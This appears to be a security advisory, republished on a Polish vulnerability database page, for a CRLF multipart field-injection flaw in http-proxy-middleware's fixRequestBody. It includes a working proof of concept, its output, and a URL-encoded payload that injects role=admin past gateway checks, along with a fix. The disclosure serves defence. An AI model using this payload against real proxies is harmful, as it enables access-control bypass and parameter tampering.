http-proxy-middleware: multipart/form-data field injection via unescaped CRLF in `fixRequestBody`
Summary
fixRequestBody() is the library's documented helper for re-emitting a request body that was already consumed by a body parser. When the outgoing Content-Type is multipart/form-data, it rebuilds the body with handlerFormDataBodyData(), which interpolates each req.body key and value directly into the multipart wire format without neutralizing CR/LF:
// dist/handlers/fix-request-body.js
function handlerFormDataBodyData(contentType, data) {
const boundary = contentType.replace(/^.*boundary=(.*)$/, '$1');
let str = '';
for (const [key, value] of Object.entries(data)) {
str += `--${boundary}\r\nContent-Disposition: form-data; name="${key}"\r\n\r\n${value}\r\n`;
}
}
A \r\n inside a value (or key) lets an attacker close the current part and inject an entirely new form part. Because the proxy's own body parser saw a single opaque value, any gateway-side policy or validation performed on req.body is evaluated against a different set of fields than the upstream backend ultimately parses a request/parameter desynchronization across the trust boundary.
By contrast, the sibling output branches are safe: application/json uses JSON.stringify (escapes control chars) and application/x-www-form-urlencoded uses querystring.stringify (percent-encodes). Only the multipart branch lacks escaping.
Preconditions
All three must hold; this narrows real-world exposure and is the basis for AC:H:
- The proxy app populates
req.bodywith a non-multipart parser (express.urlencoded,express.json, or text) so an injected boundary in a value is not split on input. - The proxied (outgoing) request is sent as
multipart/form-data(e.g. an adaptation layer, or any flow that sets the upstream content-type to multipart), so the vulnerable branch runs. - The app calls
fixRequestBody(the documented pattern for "I body-parsed, now re-stream"), and an attacker controls at least one body field value or key.
Note: a pure multipart-in → multipart-out flow (e.g.
multer) is generally not exploitable for a new-field injection, because the proxy's multipart parser already splits the injected boundary, soreq.bodyand the backend agree. The desync specifically requires a non-multipart input parser.
Impact
When the preconditions hold, an attacker injects/overrides multipart fields seen only by the backend:
- Validation / access-control bypass bypass gateway-side field checks (demonstrated below: a gateway that forbids
role=adminis bypassed; backend grants admin). - Parameter tampering add or overwrite fields the backend trusts (IDs, flags, prices).
- File-part injection inject a
filename="..."part into the upstream multipart stream.
Proof of Concept
// npm i http-proxy-middleware@4.0.0 (Node ESM: save as minimal.mjs)
import { fixRequestBody } from 'http-proxy-middleware';
// `req.body` as a NON-multipart parser (express.urlencoded / express.json) yields it.
// The attacker sent user=alice%0D%0A--BB%0D%0A... so this ONE field's value holds CRLF:
const req = { readableLength: 0, body: {
user: 'alice\r\n--BB\r\nContent-Disposition: form-data; name="role"\r\n\r\nadmin\r\n--BB--'
}};
// Minimal stand-in for the outgoing proxy request; capture what gets written.
const out = [];
const proxyReq = {
h: { 'content-type': 'multipart/form-data; boundary=BB' },
getHeader(n){ return this.h[n.toLowerCase()]; },
setHeader(n,v){ this.h[n.toLowerCase()] = v; },
write(d){ out.push(Buffer.from(d)); },
};
fixRequestBody(proxyReq, req); // library rebuilds the multipart body
console.log(Buffer.concat(out).toString());
Output: one input field becomes two parts; role=admin was injected via the unescaped CRLF:
--BB
Content-Disposition: form-data; name="user"
alice
--BB
Content-Disposition: form-data; name="role" <-- injected part; never present in req.body's keys
admin
--BB--
req.body had a single key (user), so any gateway policy checking req.body.role passes, yet the backend's multipart parser receives role=admin. On the wire the attacker simply sends, as application/x-www-form-urlencoded: user=alice%0D%0A--BB%0D%0AContent-Disposition:%20form-data;%20name="role"%0D%0A%0D%0Aadmin%0D%0A--BB--
Remediation
Neutralize CR/LF (and ") in keys/values before interpolation, or build the body with a real multipart encoder (e.g. FormData / form-data) instead of string concatenation. Minimal fix:
function handlerFormDataBodyData(contentType, data) {
const boundary = contentType.replace(/^.*boundary=(.*)$/, '$1');
const bad = /[\r\n]/;
let str = '';
for (const [key, value] of Object.entries(data)) {
const v = String(value);
if (bad.test(key) || bad.test(v)) {
throw new Error('fixRequestBody: CR/LF not allowed in multipart field name/value');
}
str += `--${boundary}\r\nContent-Disposition: form-data; name="${key.replace(/"/g, '%22')}"\r\n\r\n${v}\r\n`;
}
}
(Reject is preferable to silent stripping, to avoid masking malicious input.)
Czego dotyczy
Kliknij technologię, aby zobaczyć wszystkie dotyczące jej podatności.
| Platforma | Paczka | Podatne wersje | Poprawka w wersji |
|---|---|---|---|
| Paczka npm | http-proxy-middleware | >= 3.0.4, < 3.0.7, >= 4.0.0, < 4.1.1 | 3.0.7, 4.1.1 |
Odnośniki
- Wektor CVSS
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:L/I:H/A:N- Słabość (CWE)
CWE-93- Platforma
- npm
- Paczka
http-proxy-middleware- Ujawniono
- 18.06.2026
- Aktualizacja
- 11.10.2026 10:22
Źródła i licencje
OSV / GitHub Advisory Database - GHSA-gcq2-9pq2-cxqm - CC BY 4.0
Historia podatności: http-proxy-middleware
Wszystkie opisane podatności tej paczki (Paczka npm), od najnowszej. Widać, czy to jednorazowa wpadka, czy paczka, której trzeba pilnować.
- Wszystkich wpisów
- 5
- Pierwsza → ostatnia
- 10.2024 06.2026
- Bez poprawki
- 0
- Wykorzystywana w atakach
- 0
Rozkład istotności
- Wysoka 2
- Średnia 3
Ujawnienia w latach
- 2024: 1
- 2025: 2
- 2026: 2
-
http-proxy-middleware: multipart/form-data field injection via unescaped CRLF in `fixRequestBody` ten wpis
Dowiedz się, które podatności dotyczą Twojej aplikacji
Po podłączeniu integracji DockRay i włączeniu raportowania oprogramowania DockRay porównuje zgłoszone wersje komponentów ze znanymi podatnościami i powiadamia o potwierdzonych dopasowaniach. Zakres zależy od obsługiwanej technologii i dostępnych biuletynów.